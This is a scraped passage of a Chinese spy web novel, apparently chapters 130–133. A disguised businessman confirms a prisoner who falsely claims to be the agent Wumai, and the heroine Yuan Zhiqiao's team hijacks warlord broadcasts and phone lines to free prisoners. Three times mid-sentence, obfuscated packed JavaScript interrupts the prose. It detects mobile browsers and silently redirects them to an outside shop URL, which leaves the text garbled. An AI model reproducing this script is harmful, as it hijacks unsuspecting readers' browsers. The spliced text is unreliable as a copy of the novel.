他居高临下,看着坐在椅子上的郑处长:“你们军阀一直接受我们英方武器、战斗器械以及设备的援助,而我们克伦威尔也从未资助过新军,所以我有理由怀疑,是你们内部有人帮助了这次盗运,所以才害我与诺兰被英方安全局盯上。” 钟以墨语气愤慨:“我的合伙人诺兰已经被带走审讯了,现在我也不敢回英国。就算始作俑者不是乌麦,那她也肯定知道一些信息。” 话说到此处,郑处长已经猜到钟以墨什么意思了,郑处长面色放松,砸吧了一下嘴:“克伦威尔先生,想要找乌麦问问题的人多了去了,前面还有大把洋人科学家,想要问那什么……那什么技术,”他靠到椅背,姿势懒散,“我替先生排队吧,等能见了,我就去通知先生。” “我等不了了,”钟以墨露出厌烦的神情,“再晚点,英国大使馆就会遣人找我,”他嘴角泛起冷笑,“要是不让我从乌麦那拿到消息,我就直接告诉调查科,说你们涉嫌窃取诺兰实验室的机密,顺便也让安全局介入,彻查你们66号到底是不是在包庇乌麦。” 突如其来的威慑让郑处长吓了一跳,他不安地扭了扭屁股,试图在椅子上找到一个舒服的位置。他姥爷的,老子当这个官是耍威风的,不是来做孙子的。郑处长心中逃往丑国的天平,悄悄地倾斜了一分。要是被这假洋人盯上举报,那还真不如去丑国逍遥自在。 想到这,郑处长的语调透出一丝谄媚:“克伦威尔先生您别生气啊,我也不是拦着您不让见,只是这见……确实不那么容易啊。” 钟以墨听到,当即转过身,他准备去找有权利下决断的军阀。但这个举动在郑处长看来,简直就是两人谈翻了,钟以墨要去调查科举报了。顿时吓得郑处长起身,急忙追了过去。 “先生,哎克伦威尔先生!”钟以墨手指刚扶上门把,下一秒被郑处长双手按住,郑处长露出一排被烟熏黄的大牙,“您怎么这么急呢,”郑处长换上亲切的笑脸,把钟以墨带了回来,“您想问乌麦事情,没问题,我替你问,保准问得仔仔细细,结结实实,一字不差!” 郑处长拍着自己厚实的前胸,打得制服闷闷作响:“先生大可信我,我绝对不会漏问一个字,用上刑,保准也能让乌麦将实情都说出来。” “不可。”钟以墨当即拒绝。 郑处长愕然,张着口:“啊?怎么……先生还是想亲自去问?”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13164152|126512||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 钟以墨快速调整好表情,转眼再看郑处长时,知道让郑处长答应怕是困难,于是又抛出理由,“其实我一直怀疑一个人,怀疑她是乌麦,所以最近这段时间,我一直在接近和跟踪她,可惜一直找不到切实证据。” 郑处长听得认真,把钟以墨带到沙发上坐。 钟以墨:“当传出66号抓到乌麦的消息后,那个人就失踪了,就连她的家人也不见了。我更加怀疑,当然也想亲眼看看,看她究竟是不是乌麦。” 沙发下的小甲虫忽然不可置信地震了震,它迅速快退,一直隐到接受信号的天线触须都藏进黑暗,才停下动作,沉寂了下来。 郑处长的脑袋凑近钟以墨,好奇道:“克伦威尔先生说的是谁?” “怀疑而已,”钟以墨瞟向郑处长,“不过郑处长,你们三处不是抓到乌麦了吗?看这反应,难道郑处长并不确定自己抓的是不是乌麦?” “没有没有,这怎么可能。”郑处长尴尬地笑两声,试图敷衍这个问题,可心思却活络了起来。狄昇只有八成确定抓到的是乌麦,但这种事一旦弄错,他不仅没法移民,还会受到上级惩处。 郑处长浑浊的眼珠转向钟以墨,老天真是待他不薄,竟在这个时候给他送来了一道检验。要能这时确定人究竟是不是乌麦,恰好可以帮助他制定之后计划。 “克伦威尔先生,你说的乌麦……嘶,和那报纸上说的,是一样的吗?”郑处长决定先试探钟以墨。 钟以墨语气淡淡:“自是一样,不过名字、年龄以及几处地方,略有些出入。” 郑处长想起报道上的文字以及狄昇交上来的报告,二者对比,确实名字、年龄等地方不一样。 既然和钟以墨说的吻合,郑处长对钟以墨的信任就上升了大半:“既然克伦威尔先生想见,即使再麻烦,我也会帮您想办法,”郑处长把茶递到钟以墨手边,“不过先生怕是要等一等,我那手下被叫去问话了,钥匙也被他拿走,等他检验完过来送钥匙,然后我这边也走完流程,我就带您去问乌麦。” 钟以墨接过水,并未喝,只一直握在手心:“好,郑处长要多久?我在这等,不妨碍郑处长办公吧?” 郑处长又呵呵尬笑两下,望了望窗外,他重新坐回办公桌:“不碍事,先生就在这里等吧……警卫员,警卫员!” 守在门外的警卫员听到,正准备转身去开门,而与此同时,有些罗锅的警卫员察觉到裤中口袋的呼叫机突然震动。 罗锅的警卫员立时拦住对方,做出一副为难的样子:“董警卫员,你要小心点,我之前出来的时候,处长的表情可不好,估计等下进去又发脾气。” 警卫员心里咯噔一下,望向五步外的门扉。 郑处长:“警卫员!警卫员人呢?快给我过来!” 果真是发脾气,这种遭罪的事,还是交给别人干吧。 警卫员倏地站回了原位,同时又推了一把有些罗锅的警卫员:“龙警卫员,处长叫你呢,你快去吧。” 龙警卫员面色为难,但见办公室那边叫得紧,只好硬着头皮走过去。 开门之际,他悄悄抓上了口袋中的苍耳定位器。 131. 第 131 章 龙警卫员将做成苍耳形状的定位器挂到袖口下,面带审慎地推开了门,抬眼便对上了郑处长极不耐烦的目光。 郑处长站到门边,看样子之前是想亲自开门。 “你干什么吃的?来这么慢!”郑处长照例性劈头盖脸地辱骂,龙警卫员低着头,好像很乖顺的样子,实则用余光瞄着办公室里的两人,不确定要把定位器粘到谁身上。 毕竟组长交代过,让他接到指示后想办法把苍耳勾到会去关押地的人身上。 郑处长发泄够了在钟以墨身上受到的怒气,转身走回办公位,开始说正事:“你去审讯室看看狄昇,看他被放出来没有,出来了就让他尽快把东西给我,我也好帮他说清楚情况。” 龙警卫员猜到了对象,可惜这时郑处长已经走远,他没办法下手。 “好的处长,我这就去……那个,处长,需要我帮您把茶换成咖啡吗?我看这位先生好像喝不惯清茶。” 钟以墨敛目,面前的茶杯他的确一口未喝,水位还是满的。 一个滚字就要脱口而出,但郑处长瞄了眼钟以墨,还是把话咽到了肚子里:“那你还不快去!” “是,我这就去。”龙警卫的动作很快,他跑着去,快走着回,再敲门时手中托盘盛了两杯咖啡。他先给钟以墨端了一杯,然后又走到郑处长身边,弯着身子给郑处长也端了一杯。 郑处长不爱喝咖啡,但对龙警卫的态度很受用,于是他难得没骂人,反而给了龙警卫一个赞扬的眼神。 钟以墨放下咖啡杯,看着龙警卫的动作,眸中捕捉到一丝异样,但钟以墨并未对郑处长直说,毕竟他来这的目的,也不是为了给郑处长排忧解难。 在钟以墨安静的催促中,下午四点,郑处长终于带钟以墨去了密审室。 密审室在郊外的一处地界,毗邻废弃的造船厂,现改造成军阀训练新兵以及新兵住宿的地方,武器、设备、人员均配备充足,外人想要突破密审室并不容易。 车开过造船厂,郑处长指着外面,笑着对钟以墨说了几句:“先生,这个船厂是你们资助建立的,看,那上面还有你们克伦威尔的标志呢。” 钟以墨眼神淡淡,扫过一眼就撇开脸。他当然知道船厂为克伦威尔所有,因为这根本就是他母亲的产业。 他眸光沁冷,透过后视镜的反光看向身边的郑处长。钟公馆出事,造船厂落到钟平安手中。而钟平安死亡,他的三妻四妾五六孩子,也像他一样争抢财产,造船厂由此被军阀夺走。 之后便是军阀管理不善,船厂破产,变成了如今这副废弃的模样。 钟以墨缓缓摸上外套,他在内衬里藏了一把手枪,正是他母亲的袖珍小枪。 “是吗?郑处长不提醒,我还真不知道那是我家的产业,”钟以墨笑笑,转移了话题,“还有多久能到?” “快了,”郑处长探头,往司机的方向看去,“前面那排白色的平房就是,不过,”郑处长话锋一转,扭头对着钟以墨,“那边还关押了不少重犯要犯,涉及军务机密,所以先生待会紧跟我,不该看的、不该问的,都不要好奇,不然我可没办法保证先生顺利离开。” 钟以墨身子往后靠,神情闲适:“知道了。” 二人下了车,郑处长亮出身份证明和段公批准的文件,经过两次检验和一次搜身,直到钟以墨把枪交了,再加上郑处长的保证,两人才被同意进去。 但在进门前,平房的管理负责人杨所长还是拦住了他们:“郑处长,你一个人来审问没问题,但这还有一个外人……”杨所长看了看钟以墨,又掂了掂从钟以墨身上搜出来的女士手枪,继续道,“没有专门批准的文件,我让郑处带他进去已算特别破例,”说到这里,杨所长把手枪丢回箱子,重新看回郑处长,“所以你们只能简单问询十分钟,不然被上面的人知道,我们都没办法交代,郑处长你知道的吧?” “知道,就这样办,”郑处长全然不问钟以墨,直接答应了杨所长,毕竟他带钟以墨来,也不是诚心想让钟以墨从乌麦那得到消息,郑处长扭头对向钟以墨,“克伦威尔先生,形势逼人,你也同意的吧?” “同意。”钟以墨言简意赅,毕竟他来这也只是为了认人,并不要求和对方传递多少信息。 二人进了平房,背着枪的警卫员带路,警卫员后面是杨所长,而杨所长身后跟着郑处长与钟以墨,钟以墨后面还有一个持枪的警卫员,像押解犯人一样,寸步不离地盯着钟以墨。 平房比想象的大,不过与外面不同的是,里面墙壁没有粉刷,全是原始的水泥颜色。平房从外面看没有窗户,但进了门之后才发现有窗。不过窗户很小,也很高,只在贴近天花板的地方偶尔出现一格。 这样的窗让钟以墨想起家畜养殖场,窗户只是为了通风,室内照明则全数依赖电灯,平房正是如此。 几人往里走,门外的大门随之关闭,阳光也被拦到了外面。走廊的灯管很亮,但钟以墨却觉得光线像是被黑灰的墙壁吸收了般,无端让人感到昏暗压抑。 墙体的隔音效果很好,平房外,钟以墨还能听见附近船厂的集合喇叭,但进入平房后就几乎听不见了,只能听到审讯室里传来的哀嚎,以及大兵脚下的硬质军鞋,踏到地板发出的咚咚声。 郑处长把钟以墨领到一间没人的审讯室,审讯室里的环境很暗,借着廊外的灯光,钟以墨隐约看到墙上挂着许多器具,有的形状类似于骨科手术使用的刀与钳,有的则完全猜不到会用来干什么。 他越看越胆寒,心中也快速蒙上了一层阴霾,钟以墨不敢想,要是元之荞真被带到了这里…… “克伦威尔先生就在这里等吧,”郑处长笑呵呵地邀请钟以墨往里坐,似乎对这种审讯室习惯非常,“我去替你把人提出来。” “不了,”钟以墨拒绝,他皱起眉,毫不掩饰自己的不舒服,“我不喜欢这样的地方,不用带出来了,我跟着处长去关押室问吧。” “这……”郑处长刚想拒绝,身边杨所长却突然打断:“行啊,那就走吧,也省得我们多派两人到审讯室的门口看守。” 既然负责人都同意了,郑处长也不用再说什么。 继续往里走,经过一段长长的走廊,前方突然出现了一个天井。天井仅一尺见方,却有着难得一见的日光。 当带着微风的夕光落到钟以墨身上时,他突然觉得自由有了具体的形式。 可惜脚步无法停留,短暂光明过后,他们就再次进入了一个黑暗的区域,这里便是最终的目的地:关押收容间。 打开一道铁门,就正式进入了押解“疑犯”的地方。收容间呈回型,两侧是一排排整齐的黑色铁门,与前面不同的是,这里没有窗户。惨白的灯光在头顶上虚虚地亮着,空气仿佛死水一般,凝结着五谷轮回的生活气息,走一走,还能闻到新鲜的血液腥气。 这里的过道很安静,钟以墨只能听到他们几人的脚步声,以及大兵腰间钥匙碰撞的叮铃声,正在这片沉寂的空间里不断回响。 钟以墨一边走,一边隐晦地观察四周,他注意到每间牢室都装了两扇铁门,里面那扇全封闭,只在人眼高度和下面送餐的地方,分别开了一个长方形的小窗,小窗也带锁,锁头均靠在第二扇栅栏似的铁门上。 铁门关得很严,看不见一丝里面的情况。 没走多久,最前面的警卫员就停下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13177552|126512||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脚步,让出位置给杨所长。 杨所长取下腰间挂得满满当当的钥匙,一把一把掰着上面的标识,像在辨认:“就是这里了,我两个属下在旁边守着,你们有话就快问吧。” 杨所长找了好一会才找对钥匙,刚开门,就扑面而出一股难闻的味道。 钟以墨看过去,发现牢室里无比黑暗,不仅没有窗,也完全没有一盏灯,七八平的空地,只有一张石床和一只盛装秽物的木桶。在这样的环境中,人过不了多久就会抑郁。 石床上坐着一个男人,侧身对着铁门,似乎在发呆,他身上的衣服皱皱巴巴,像是被水淋湿过又在身体上烘干,手脚一些地方,则明显沁出血迹。 钟以墨看着这个模样凄惨的陌生男人,虽然有些自私,但他心里却确实松了一口气。 还好,不是她。 郑处长的眼神不断在男人和钟以墨的脸上逡巡,最后定格到钟以墨身上:“先生,你说的是他吗?” 听见这话的李成突然回过头来,外面的光有些刺眼,他眯着眼睛,试图辨认钟以墨。 钟以墨嘴角呵笑:“乌麦?” 李成掩藏起自己紧张的情绪,他微微扭回身,语气带着肯定与桀骜:“是,我就是乌麦。” 郑处长瞄了一眼李成,又瞄向钟以墨,似乎在等待钟以墨给出结论。 而钟以墨瞟了一眼郑处长,给出一个肯定的答案,“没错,他就是我一直在查的乌麦,”钟以墨往里走了几步,似在看清李成的相貌,“跟了你这么久,果然是你。” 李成小心地看着钟以墨,他确定自己没见过眼前这个卷发男人,怕说太多会暴露破绽,于是李成轻笑一声,一言不发转过脸去。 不论卷发男人是谁,只要他承认了自己是乌麦,那就是在帮自己的忙,李成心中忐忑,用力咬紧了牙关。当初66号查乌麦时,他也看到了报纸,报纸上的内容真实度极高,与他们发出的假消息完全不同,那时李成就意识到了危机。 那时的两天后,狄昇就顺着报纸上“元知荞的警卫员李成,曾被北城巡捕房缉拿并记录档案,此事出自惊动北城军阀的‘柳澈庆自杀案’,后来还被白鸽抢了风头”这一新闻线索,加急调出了李成当时被记的档案。 后来就是李成被抓,而当时的白鸽已经被抓了不少人,李成也担心狄昇真的顺着白鸽找到元之荞,于是自愿顶替乌麦,用着元之荞交给他的无线电知识,以及在元之荞身边学到的杂学知识,勉强骗过了狄昇,被当成乌麦关在这里。 他是元之荞的护卫兵,就算元之荞现在离开白鸽,成为了元部长,他依旧是元之荞的护卫兵。 他会坚守护卫她的安全的任务,直至生命的最后一刻。 钟以墨留意着李成受伤的部位,发现他额角有出血,整个人看起来也有些晕,精神状态并不太好,得尽快离开这里接受治疗。 钟以墨隐隐呼出一口气,虽然不知道这人为什么要假冒元之荞,但这人如此做,估计是出身白鸽。既是之荞忠心耿耿的部下,之荞的消失八成也是在想办法救这人,那自己原本的营救计划依旧可以进行。 他会帮她一把。 钟以墨装模作样地问了几个问题,也提了电子干扰技术,李成自然从头至尾一字未发,钟以墨见状,冷笑着转身:“郑处长,既然是技术型人才,到时候你审问要注意他的双手和脑袋,要是这两个地方伤了、残了,没法替我们英方做事了,你们军阀就不好对我们英方实验室交差了。” 郑处长眼珠滴溜几转,把钟以墨划到了英方势力那边的人,他联想到丑国的话,瞬间明悟丑国要的也是乌麦的技术,于是连连称好,给出了保证。 132. 第 132 章 出事当日,清晨6:34。 审讯平房。 狄昇一把薅起李成的头发,掰过他的脑袋,“海陆实验室在哪里?里面还有谁?” 身体的疼痛让李成双眼半阖,面颊肌肉机械性地抽动,好一会儿,他才翻过眼,视线聚焦到眼前人脸上。 狄昇重复了两遍,李成这才听清狄昇问了什么,他嘴唇蠕动,想要说话。 太痛了,不如就把剩下知道的都交代出去,反正也不是近期,他们查不到什么……不然就编,等他们发现被骗,说不定会气得一枪崩了我,速死也好过现在…… 李成开口说了几个字,可因声音细讷,并不能辨认是什么,狄昇皱着眉,把耳朵凑了过去。 “呸。”李成想吐狄昇一脸口水,可最终只是虚弱地噗了一口气。 “娘的,耍老子?”狄昇狠狠甩手,把瞬间把李成撞回椅背,发出闷地一声响。 李成的脊梁撞到铁制椅架,痛得再度蜷缩了起来。他突然有些庆幸,庆幸自己什么也不知道。不知道元部长以前的实验,不知道她被安排到了哪里,也不知道她现在的住处,否则他真有可能熬不住把知道的全说出来,只求能轻松一些。 他的嘴角轻轻扯起,还好,他什么也不知道。 看到李成似乎在笑,狄昇气不过,登时又给了他一巴掌。 皮手套上全是血,这血也糊到了李成脸上,变成几道淋淋的血印。狄昇起身,冷冷地俯瞰着李成,他的眼睛细长,眼皮厚垂,遮住部分了瞳仁,眼里全是阴鸷与不耐。他时间不多了,在选择与郑处长合作后,狄昇就发现这老奸竟然暗中和丑国合作,如今正密谋劫走乌麦。 他今早才接受了普国的协议,但在把人交出去前,他要得到更多消息,好作为自身保障。 狄昇扯下皮手套,丢到桌上:“挖了他左边的膝盖骨,免得有人带他跑,要还不肯说,那就连右边的也一起挖了。” “是。” 李成垂着头,听见这话也一动不动。 “你跟我去隔壁,”狄昇带助手离开,走到大门前,他突然停住脚步,侧身看向李成,似笑非笑,“对了,你们白鸽我也抓了不少,你不说,有的人是说,若别人先说,就算你是乌麦也没用,”狄昇的嘴角变得意味深长,“你们四组有个准则吧?密码本与电报员同在?” 狄昇笑出了声,像是真心觉得有趣:“有个代号泥鱼的,才坚持了三分钟,就把来去本全部背给了我们,你说好笑不好笑?” 李成的身体轻轻动了动,他用尽了力气抬头,却只看到模糊一团的狄昇离开的背影。 小洋楼。 “钟叔,人备齐了吗?”钟以墨正在检查枪支弹药,以防万一,他还准备带些杀伤力更强的炮弹。 “备齐了少爷,今早五点我去看过,二十个伪装好的警卫已全员待定,”钟管家眼中担忧,却还是仔细地汇报着进程,“您想让英方知道的消息也已透露出去了,那边反应很快,估计今天就会行动……还有医生和治疗箱也都已准备好了。” “时刻注意英方那边,”钟以墨开始穿戴装备,“找准机会把人引去平房。” “好的少爷。” 军阀市政楼。 龙警卫背的包格外鼓,身边还带着一个同样背包的陌生警卫员。门卫见到了,双手把着腰间的皮带,迈着八字步,一边呵欠一边招呼:“小龙?这么早就上值?” 龙警卫员掩护同是白榆的同伴,让他尽快去开门,自己则转身应付门卫:“是啊张警员,这几天也不知道领导们怎么了,总是骂我这做不好那做不好……” * 早上10:40。 审讯平房。 “头儿,那个李成晕死过去了,嘴还是硬,什么也不说……” 狄昇右脚架到左腿,身子斜靠一边椅子的扶手,吐了半个烟圈:“抓来的五个白鸽呢,有没有审出什么有用的?” “有,”下属虚了一眼狄昇,双手紧紧地贴于裤缝,身体绷得像是提前预见了狄昇的恼怒,“五个白鸽,有三个都交代了乌麦是女人,而不是抓来的男人李成……” 狄昇放下烟,扭过头,盯着下属。下属喉头滑动,声音有些发紧,他不敢抬头,继续道:“李成,的确是乌麦的交通兼警卫员……” “废物!”狄昇突然呵斥打断了下属的话,他愤恨地把烟往下属脸上扔,下属不敢躲,只反射性地缩了一下,心里有些感激烟头没有烫到自己,而是砸中了衣服。 狄昇站起来就要往审讯白鸽的地方走,下属连忙跟上,语速极快地汇报:“那三个白鸽有两个见过乌麦本人,分别在五年前和几月前,我已经让肖像画师来了,根据他们的供词,很快就能绘制出乌麦的模样,到时候您就可以凭借画像缉拿乌麦。” 听到这话,狄昇稍稍放慢脚步,眼球转向下属:“确定李成不是乌麦?” 下属迟疑一秒,这才回答:“确定。” “既然不是乌麦,”狄昇哼出一声冷笑,“那人就没什么用了。” * 中午11:53。 军阀市政楼,食堂外。 “食堂放饭了,快点快点。”警卫员们纷纷离岗,只留部分警卫员交班。 “哎你有没有看到龙警卫?就是龙旭阳,”一个警卫员张头晃脑,想要在挤向食堂的人中找到有些罗锅的那个,“他大爷的,人再不来,我等下就吃不到炒菜了!” “管他呢,这里是军阀总办,哪个不怕死的敢闯进来?换不换班无所谓,还是吃饭要紧。”同班的警卫员劝解道。 “你说的对,咱们走。”两个警卫员勾肩搭背,正准备往食堂的方向赶,继而就听广播传出了一阵刺耳的啸叫。 哔—— “怎么回事?”警卫员顿时堵住耳朵,看向墙角的喇叭。而噪音迅速响彻整栋市政楼,就连楼外经过的人也无不皱眉,同样看向喇叭的方向。 广播响起咔哒一声,很快就出现了一个男人的声音,不过他说的是海国语,并时不时字正腔圆地蹦出几个军阀人名。 警卫员听不懂,看向身边有些愣神的同伴:“这呜哩哇啦的在说什么?” 同伴听的也不是很明白:“他好像在说,军阀和海国军勾结的人,以及他们做的事情……”听到狄昇的人名时,同伴霎时一惊,用力摇了摇警卫员的肩膀,“你听,他说66号的副处长今早和普国合作了!” 市政楼外。 “那海国鬼子说军阀有不少亲海派,不仅帮海国人做事、贱卖我国藏品,还偷武器,把丑国和英国免费援助武器的卖给海国……个舅姥爷的,原来他们根本就没有在抗战,只想在各个势力里做代理皇!”一个学生模样的年轻人撸起了袖子,激愤道,“我们要抗议,我们军阀给出一个说法!” 年轻人翻译的话让周围群众愤慨,嘈杂的讨论在人群中蔓延:“他们竟然这么贪,还戕害统一战线的同志,真当世间没有理法了……” 市政楼内,总长办公室。 通报的警卫员接二连三:“总长,外面开始游行抗议了。” “总长,食堂和楼里都乱作一团了,还有各个部门的负责人,都拿着枪说要干掉对方。” “总长……” 蒲城总长一拳头锤向桌子,硬生生截断了所有警卫员的话:“老子也想杀了那帮背叛的混蛋,竟然拿着我的好处转头孝敬别人?”总长暴躁起身,指着办公室上方的喇叭,“广播室到底是谁在播!还不快给老子抓起来!” “已经派了,不过……通向广播室的楼梯门被锁,我们还、还在想办法打开……” 总长用力踢了一腿椅子:“废物,那你还在这里干什么?还不快集结大批警员,把那鬼子堵死在广播室里!” “是。” 通往广播室的楼道。 龙旭阳带着同伴,混进了凑热闹的警卫中,他俩逆着人流准备离开。与此同时,一队拿着撬锁开门工具的人,正向他们跑来。 龙旭阳拉过同伴,往里面躲了躲,等一队人从他们身边擦身而过,二人立刻对视一眼,加快步伐。 龙旭阳刚走到市政楼门口,就听到开始重复第二遍的喇叭里多出了踢踏的脚步声,随后是一个警卫员的呼喊:“队长,没人。” “没人?怎么可能?”偏小的声音响起,应是此人站得比较远,“没人怎么可能在播?” 清脆的咔哒声响起,海国男人的声音随之消失,然后又是那个警卫员的声音:“队长,是磁带,这里放的一直都是磁带。” “蠢蛋,那你还不把广播给关了,嚷嚷什么。”偏小的声音骤然放大,带着一些被戏弄的嘶吼。 听到广播停止后,龙旭阳旁边的白榆悄悄观察四周,果断将手伸进口袋,抓住里面的呼叫机开始发送信号。 前往船厂的路上。 三辆改装过的皮卡排成一排缓慢行驶,打头的那辆比较小,装备得却很严实,基本看不到内部,车身上挂了“喜悦戏班”的布幅。后面的两辆很大,模样没有第一辆那么精致,车斗里坐了一些人,全都穿着异常宽大的都戏服,他们脚下是大大小小的箱子,像是道具。 第一辆车的黑色车棚内固定着各种机器,还有一张小桌子,仅余下了一人半的空位,元之荞注意到左上方突然闪烁起了规律的黄灯,她快速翻译着电码信号,敲敲车窗:“胡菲,往信号塔那边多开点。” “好嘞。”胡菲稍微放慢速度,方便元之荞在后面行动。 元之荞戴上耳机,先测试了一下变声器的效果,然后调到早就破译出的频道。蒲城留有白榆二十人,她不可能让自己人去血拼送命。她要做的,是把大多数敌人引开,再让早就咬钩的丑国,做自己冲锋陷阵的马。 市政楼。 恼人的广播终于结束,总长终于舒了一口气,他心里憋着火,开始一刻不停地下命令:“让巡捕房马上去抓那些又搞游行的家伙,所有警卫兵出动,把广播里说的人通通给我抓过来,一个不许放,包括那个离岗的广播室负责人……” 下属刚想应答,啸叫就再次从广播里刺了出来。 总长听得心脏欲停,不断拍着桌子:“怎么回事!不是说已经关了?它又怎么又响了!” 下属神色慌张,还未开口,啸叫忽然就停止了,广播里传出一个男音,虽然依旧是海国语腔调,但说的却是国语:“今日下午三点,我方会炸毁英、法、普以及军阀市政楼,我大东亚海国,必将胜利。” 话一说完,广播就变成了警报,并在不断呜响。 总长用力打碎杯子,试图盖过广播里的声音,他对着警卫员斥声嚷道:“快去给我关了!” “是、是。”下属连忙跑出总长室。 这时的广播室也如外面一样混乱,直到警卫员把所有的电线都拔了,才终于让声音停止。 走廊上不少人在窃窃私语:“不是我们广播室的原因,好像外面的广播都变成这样了。” “不是外面的广播,”一个无线电部门的人插话,“是我们军阀的广播,而且无论是之前还是现在,那些广播里的话应该都传出去了,”他长叹了一口气,“有人破解了我们蒲城军阀的频道和密码。” 这番话让众人一下安静下来,“乌麦?”站在门边的一个警卫员小心翼翼,眼神快速瞄了几眼,见无人指责,他才 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13210652|126512||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 敢把剩下的话说完,“我的意思是,广播入侵和新军的天-8差不多?所以我就猜……” “可乌麦不是被66号抓了吗?难道他们压根就没抓到人?” “广播里说话的是个男人,”一位警员想到了别的地方,“所以乌麦其实是男人,压根就不是报纸里说的那样。这样看来,乌麦竟然是海国人?” “怎么可能,乌麦要是海国人,那天-8就是海国的电子侦察机,而不是新军的了。” “我看是抓对了人,然后66号有内奸,就像狄昇想做的那样。内奸早把电子干扰技术拿到手,然后又卖给了海国人,所以海国人才会……” “你们还在这里干什么?”下属终于跑到了广播室,他气急败坏地叫停讨论,然后随便喊了在场的几个人,让其跟着自己回总长室。 总长听着几人的汇报与猜测,叉着腰,不断地来回踱步,他还未有定论,隔壁的电话就在一个接一个地响,总长听得心烦意乱,脾气是一点也压不下去。 “总长,”秘书紧张地跑了过来,“英国大使馆那边打来了电话,问我们广播是怎么回事,他们还担心爆炸是真,要求我们驻兵支援。” 秘书话刚说完,书记也跑了过来:“总长,法国大使馆那边也说了一样的话,除此之外,他们还要求解释广播上说的秘密转交一事。” 二人报告的间隙,电话铃声还在继续,秘书看了一眼,犹豫着要不要去接。 “口口,”总长大骂了一句脏话,他努力做了两个深呼吸,这才勉强没有再骂出来,总长闭着眼挥了挥手,让秘书尽快去接电话,“蒲城驻兵没那么多,要是英、法、普那边都要派人……”总长看向书记,下了命令,“去把新兵营那边的兵全部调过来,立刻,我要在三点之前,全部巡查完广播里说的区域。” 市政楼斜对面的白鸽桩点。 已经顺利逃离的白榆二人正在用小甲虫监听,龙旭阳听到了总长室里的对话,他拿出呼叫机,给元之荞发去信号。另一白榆则联系白鸽,让那边随时做好接应准备。 皮卡车上。 元之荞看向再度闪烁的黄灯,敲了敲车窗:“胡菲,用望远镜盯着船厂那边,等人撤离通知我。” “放心吧组长。” 元之荞带着工具箱下车,来到已经踩好点的地方,爬上三米高的信号杆准备串接电话线,而后面跟着的两车白榆也下车,开始搭小板凳和简易木桌子,他们预备在路边吃午饭,然后掩护元之荞。 中午12:44。 胡菲看到新兵营有卡车开出,而车上站满了昏昏欲睡的军阀新兵,她立刻回到驾驶室,把后面的小窗推开:“组长,他们正在离开。” 元之荞刚刚换好军阀的黑色制服,听到这话,她放下准备扣上的皮带,先把电话拿了出来。 她拨向郑处长给出号码,处长办公室里的小甲虫听了不少秘密,利用这个,她刚好可以两头骗。 电话接通,元之荞换上英语,伪装成丑国那边的人:“是郑处长吗?我方已经想办法把新兵营里的士兵调走了,先生什么时候配合把关押所里的人员调离?哦是吗?我方并不知道海国那边的事情……先生怕什么,只要你能助我们劫走乌麦,先生不仅可以拿到护照,还能得到我们的护送……” 电话那头的郑处长声音焦急,提出现在就要丑国保护,元之荞不想和他扯皮,于是面无表情地换了一副着急的声线:“Oh,shit,竟然有人提前去关押所了,郑弘扬,你竟敢把消息泄露消息给英方?别和我废话,你赶快通知Mike长官,要是让英国人先得手,我们两方之间的交易就全数作废。” 元之荞干脆地挂了电话,抬头便对上一双亮晶晶的眼睛,胡菲崇拜地看着元之荞:“组长,你可真厉害,不过……郑弘扬会照办告诉丑国那边吗?” “他要是不会,”元之荞戴上耳机,把通话时刻录的声音做测算分析,“那就由我模仿他的声音再给丑国那边打一次电话。” “那这样的话,丑国来了,却没有郑弘扬在中间让平房管理员懈怠,双方岂不是要打起来?”胡菲扒着小窗,想要离元之荞更近一点。元之荞抬了抬眼,滑下耳机:“我本来就没想让双方和平,我们要做的,不是黄雀在后式的劫人,而是浑水摸鱼,把整个平房里的关押的人全放了。” 胡菲瞪大眼,有点激动:“组长你是说……” “是,”元之荞操作的手指飞快,专注着屏幕上的图像,“那里虽关着一些叛国特务,却也关了不少白鸽,可能还有新军。所以这次行动不仅要救那个做我替身的李成,还要救我们新军所有的人。” 她稍微分神,瞄了一眼胡菲:“你怎么连基本计划都没弄清,从白鸽那边回来,没与组员对过信息?” 胡菲抿了抿嘴,有些紧张:“是,是我的疏忽,下次我归组后一定立刻确认,绝不会再犯这种的失误。” “既然才知道,也知道要救的人可能是十几人,那你就应该知道,白榆这次行动虽有防范和计划,但三方混战难保出现意外和伤亡,”元之荞扭头,看着这个与自己一般大的女孩,“要是没有准备,你就留在车里做接应。” 胡菲摇头:“我不怕死,”她眼神坚定,看着元之荞时与当初一模一样,“组长你说过,白榆的人有两条命,一条生命,一条使命,我们会做战士们的影,也会做黑暗里的炬。所以我早就准备好了,就让我一起行动吧,我保证完成任务。” 元之荞轻轻地笑了,笑容很浅,似碧波上的涟漪。 “好,”她答应下来,“既然准备好了,”元之荞的视线穿过车后半开的门,看向远处的平房,“待会我们就行动。” 133. 第 133 章 